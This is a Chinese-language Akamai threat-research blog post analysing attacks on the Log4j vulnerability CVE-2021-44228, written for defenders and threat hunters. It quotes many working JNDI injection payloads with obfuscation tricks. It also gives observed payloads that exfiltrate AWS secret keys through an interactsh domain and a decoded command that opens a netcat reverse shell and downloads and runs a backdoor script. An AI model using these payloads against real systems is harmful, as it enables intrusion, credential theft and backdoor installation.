需要云计算吗? 即刻开始体验

Dark background with blue code overlay
博客

Log4j CVE 漏洞威胁情报:重要研究结果及潜在影响

Akamai 先前 已经撰文 介绍了 CVE-2021-44228 漏洞,并提供了应对建议,说明除了尽快安装最新补丁之外,还可以采取哪些措施来加强防护。在整个 Akamai 网络中,我们每天可以观察到来自 13 亿台唯一设备的流量,流量纪录达到 182 Tbps。我们的威胁研究团队依托这样的天然优势,通过执行广泛的流量分析,深度探究恶意攻击者利用此漏洞的方式。我们希望分享更多技术研究结果,以及威胁搜寻者可以从中获得哪些启迪。这里介绍了防御者与威胁搜寻者应该考虑的一些潜在影响:

  • 应做好充分心理准备,此漏洞引发的攻击将存在长尾效应。 我们预计,由于此漏洞所涉及软件的使用范围较广、漏洞变体为数众多,在后续数月内,相关攻击将持续不断,人们也会陆续发现许多攻击实例。在未来有新型攻击尝试出现时,我们会继续推荐紧急修补方案。
  • 攻击者采用伺机注入的攻击手法,并且更有针对性。 随着漏洞利用攻击方法的变异,攻击者会竭尽所能利用每一个注入机会。尽管他们最初会从一些机会较为明显的位置入手,比如用户代理,但很快就会转为设法攻击企业特定的参数。这类情报对于 Web 防御者非常有价值,可以帮助他们根据不断变化的威胁态势快速调整防御措施。
  • 攻击侦察的后果可能要到几个月后才能得到充分认识。 目前已经观察到的绝大多数活动都是侦查/测试,仅有很小一部分比例是实际攻击。尽管可以通过安装补丁及其他方法来抵御攻击,但在此期间究竟已经发生了多少次攻击还不确定。攻击需要假以时日才能显现出来,届时我们才能确切了解攻击的量级。

现在我们来具体讲讲每一项研究结果。

研究结果 1:最初看似并不严重,但随即引发全球恶意活动海啸

攻击者最初需要花一番功夫,尝试利用漏洞针对我们的客户发起攻击,但在攻击尝试得逞之后,他们就会迅速发起一轮又一轮接连不断的大规模攻击。这也与其他研究结果相关联,随着攻击者发现更多攻击媒介、漏洞利用攻击变体,恶意活动量级会大幅度提高。

就像其他零日漏洞一样,恶意攻击者会很快采用这种漏洞利用攻击手法,扩充自已的攻击工具“军械库”。根据我们的数据,在发送 log4j 漏洞利用攻击流量的攻击方基础架构中,有大约 57% 的部分是 Akamai 已知先前曾发起过攻击的基础架构,实际上,这次恶意活动海啸中涉及到的已知恶意攻击者与新攻击者采用的都是伺机攻击的手法。

攻击浪潮有着全球性的特点。在最初阶段,大多数攻击源自美国、新加坡、德国和巴西,但具体地理位置高度分散。我们还观察到有部分攻击来自主流云服务提供商托管的服务器,包括 AWS 和 DigitalOcean 等。

我们注意到,攻击方 IP 地址的地理位置在不断变动。在 12 月 15 日的数据中,大部分 log4j 攻击源自加拿大、俄罗斯联邦、卢森堡(这令人有几分意外)和英国的恶意设备。

按垂直行业统计时,针对商业的攻击尝试数量最为可观,在各个行业的对比中十分突出。有超过 50% 的 Akamai 应用程序安全产品客户仅在一个小时内就观测到了大量漏洞利用攻击尝试。 按垂直行业统计时,针对商业的攻击尝试数量最为可观,在各个行业的对比中十分突出。有超过 50% 的 Akamai 应用程序安全产品客户仅在一个小时内就观测到了大量漏洞利用攻击尝试。

在对比大量成为类似针对性攻击尝试目标的国家/地区时,美国成为攻击目标的次数是排名紧随其后的国家(英国)的 5 倍以上。

研究结果 2:前所未有的漏洞利用攻击方法发生变异

除了这一漏洞的巨大影响之外,我们还观察到,漏洞攻击方法变体的演化达到了前所未有的程度。

在概念验证漏洞利用攻击中,最初发现的攻击媒介为:

${jndi:ldap://malicious_server_address/}

但随后很快就出现了其他一些较为简单的规避技巧(例如使用 URL 编码的攻击载荷):

$%7Bjndi:ldap:/x.x.x.x:3339/Exploit%7D

在短短几个小时内,攻击者就开始尝试利用其他 JNDI 注册表服务提供程序(例如“rmi”和“dns”)来规避专门检测“ldap”的检测方法,攻击媒介形式如下:

${jndi:rmi:// and ${jndi:dns://

现有 Log4j 2 查找 文档有助于理解攻击面和潜在的规避手法。攻击者与研究人员都曾尝试利用各个查找指令来构建混淆攻击变体,在攻击载荷中不包含“jndi”,也就是大多数防御者都应该会通过检测规则搜索的字符串。

考虑到 log4j 区分大小写,他们最先使用的是经过细微字符变换的查找指令,也就是利用“lower”和“upper”:

${${lower:j}ndi:  and ${${upper:j}ndi:

虽然可以将任意长度的字符串传入查找函数,而非仅限单个字符,但单个字符的方法也是有效的:

${${lower:jnd}i:

很快,恶意攻击者就发现可以定义一个用户变量,并使用“-”符号为其设置默认值,这样在定义之后,即可返回这一默认值。这带来了另外一种混淆“jndi”和“ldap”字符串的伎俩:

${${x:-j}ndi:  

显然,log4j 框架甚至不要求为变量命名,于是漏洞利用攻击变体开始包含这些“空”变量名,以及具有多层深度的变量:

${${:-j}ndi:  and ${${::::::-j}ndi:

部分变体开始使用“env”等其他用户指令定义新的环境变量,同样被利用的指令还有“date”,令人意外的是,这条指令甚至没有日期格式方面的强制要求:

${${env:BARFOO:-j}ndi and ${${date:'j'}${date:'n'}${date:'d'}${date:'i'}:ldap://127.0.0.1:3339/Exploit}

在大规模漏洞利用攻击爆发的几天之后,更为高级的攻击变体出现了,其中也用到了“空”字符串规避手法。攻击者会寻找在运算后会得出“空”字符串的查找方法和表达式,而这就意味着这种表达式可以注入任何字符之间,例如:

${:-}

更为高级的“空”字符串攻击变体依靠系统特定设置,并且会注入如下内容:

${{sys:sun.cpu.isalist}jnd${sys:sun.cpu.isalist}i

我们也观察到,攻击者不断在尝试更多的变体,包括双重 URL 编码、Unicode 编码以及不带右花括号“}”的表达式。

务必注意,攻击者也在尝试多种不起作用的攻击变体,比如:

$jndi:ldap://

研究结果 3:多个注入位置,逐渐从投机型攻击转变为定向攻击

在研究中,我们发现攻击者在多个位置注入了漏洞利用攻击载荷。此类注入的最常见位置是查询字符串参数、User-Agent 标头(初始漏洞利用攻击概念验证中使用的就是这个位置),以及请求路径,其假设是 Web 服务器和应用程序会记录“访问”信息,例如方法、请求路径和 User-Agent。

在大多数攻击中,注入均使用不同的虚拟查询参数,例如“x”、“test”和“foo”。此外,由于攻击者盲猜某些参数被记入日志的几率较高,因此还尝试了“url”、“nextUrl”、“_csrfToken”、“_endcoding”和“openid.retrun_to”等其他一些查询参数。

每个能想象到的标头都成了注入目标,包括 Cookie、Referer、X-Forwarded-For 和 Connection。

许多攻击者在发送请求时,都会在相同请求中向多个位置注入漏洞利用攻击载荷。

研究结果 4:攻击载荷分析表明,攻击者使用了盲侦察、投放恶意软件和后渗透工具 (Post Exploitation Tool)

大多数恶意攻击者都会采用“盲”侦察技术,利用最流行的在线服务监测外部服务交互。对于某些漏洞,攻击者无法通过从目标服务获得直接响应的方式来确认漏洞的有效性。此时,测试目标网站是否存在漏洞的技巧就是尝试执行代码,以联系由攻击者控制进行此类连接侦听的外部服务器。如果攻击者的服务器收到特定目标服务器发来的“信标”,则表明目标服务器成功执行了攻击者的代码。大多数攻击者并不会自行设置并维护这样的服务器,而是利用最流行的在线环境来实现这一目标。

在 log4j 攻击中用到的最流行的服务是“ineract.sh”、“burpcollaborator.net”和“canarytokens.com”,但攻击者还使用了其他很多域名。许多此类网域都托管着某种开源“Ineractsh”带外交互服务器。 在 log4j 攻击中用到的最流行的服务是“ineract.sh”、“burpcollaborator.net”和“canarytokens.com”,但攻击者还使用了其他很多域名。许多此类网域都托管着某种开源“Ineractsh”带外交互服务器。
配图:“canarytokens.com”服务被用于检测 log4j 攻击中用到的带外交互 配图:“canarytokens.com”服务被用于检测 log4j 攻击中用到的带外交互

在盲侦查信标的基础上,许多攻击者已经在尝试窃取一些有用的数据,例如机器的主机名,以及 java:os、java:vm、env:user 等环境数据,甚至会提取 AWS 密钥以便接管 AWS 帐户。

x=${jndi:ldap://${env:AWS_SECRET_ACCESS_KEY}.c6r0th1plenfp33c62vgcg5bneayyna7g.interactsh.com/a}

还有其他一些攻击载荷包括使用 base64 编码攻击载荷的直接命令执行:

${jndi:ldap://165.22.213.147:1389/Basic/Command/Base64/bmMgMTY1LjIyLjIxMy4x

NDcgODg4OCAtZSAvYmluL2Jhc2ggOyBjdXJsIGh0dHA6Ly8xNjUuMjIuMjEzLjE0Nz

o3Nzc3L2JhY2tkb29yLnNoIC1vIGJhY2tkb29yLnNoIDsgY2htb2QgK3ggLi9iYWNrZG9vci5

zaCA7YmFzaCBiYWNrZG9vci5zaCA7IGRpZyBsb2x6LjEyMWVwdDltNmJvanVsaHZ3dzBiN

HlxdHBrdmJvemQuYnVycGNvbGxhYm9yYXRvci5uZXQ=}

此攻击载荷会转换为:

nc 165.22.213.147 8888 -e /bin/bash ; curl http://165.22.213.147:7777/backdoor.sh -o backdoor.sh ; chmod +x ./backdoor.sh ;bash backdoor.sh ; dig lolz.121ept9m6bojulhvww0b4yqtpkvbozd.burpcollaborator.net

攻击者会打开连接其 C2 服务器的反向 shell、下载一个 spearhead bash 脚本,随后执行该脚本并且向“burpcollaborator.net”发送一个“DNS”信标,以确认服务器存在漏洞。

他们还利用“ngrok.io”反向隧道服务来隐藏攻击者身份:

${${env:BARFOO:-j}ndi:${env:BARFOO:-l}dap${env:BARFOO:-:}//0.tcp.ngrok.io:17305/Basic/Command/Base64/d2dldCA4LnRjcC5uZ3Jvay5pbzoxNDYzOSAg}

执行的命令会下载一个后门程序:

wget 8.tcp.ngrok.io:14639  

这些隧道服务的优势在于,攻击者不需要在自己的公开服务器上托管恶意软件,避免自己的服务器因此被相关机构关停或被查获。在这种情况下,攻击者在自己的机器上托管恶意软件和命令与控制面板,然后藏身于某个合法隧道服务之后,此服务会起到“代理”的作用,将 C2 流量从受害者的机器发送到攻击者的机器。

除了部署加密挖矿软件和 DDoS 爬虫程序的恶意攻击者之外,我们还发现某些激进的攻击者目前在以 Windows 机器为目标执行大量扫描。攻击者会尝试部署恶名昭著的“netcat”后门程序,这是一种已知的 Windows 特权提升工具,通常用于成功渗透之后的横向移动,或者用于获取特权以使用勒索软件加密磁盘。

一名攻击者用来托管 netcat 和 WinPEAS 攻击工具的服务器 一名攻击者用来托管 netcat 和 WinPEAS 攻击工具的服务器

就我们迄今为止观察到的所有攻击而言,似乎仅有一小部分与勒索软件有关。

敬请关注更多研究结果

虽然我们给出了一些重要的数据见解,但我们并未就此止步。Akamai 的威胁情报团队、安全研究与事件响应团队将继续利用这种监测能力与广泛的情报,做好监测并保护我们的基础架构与客户。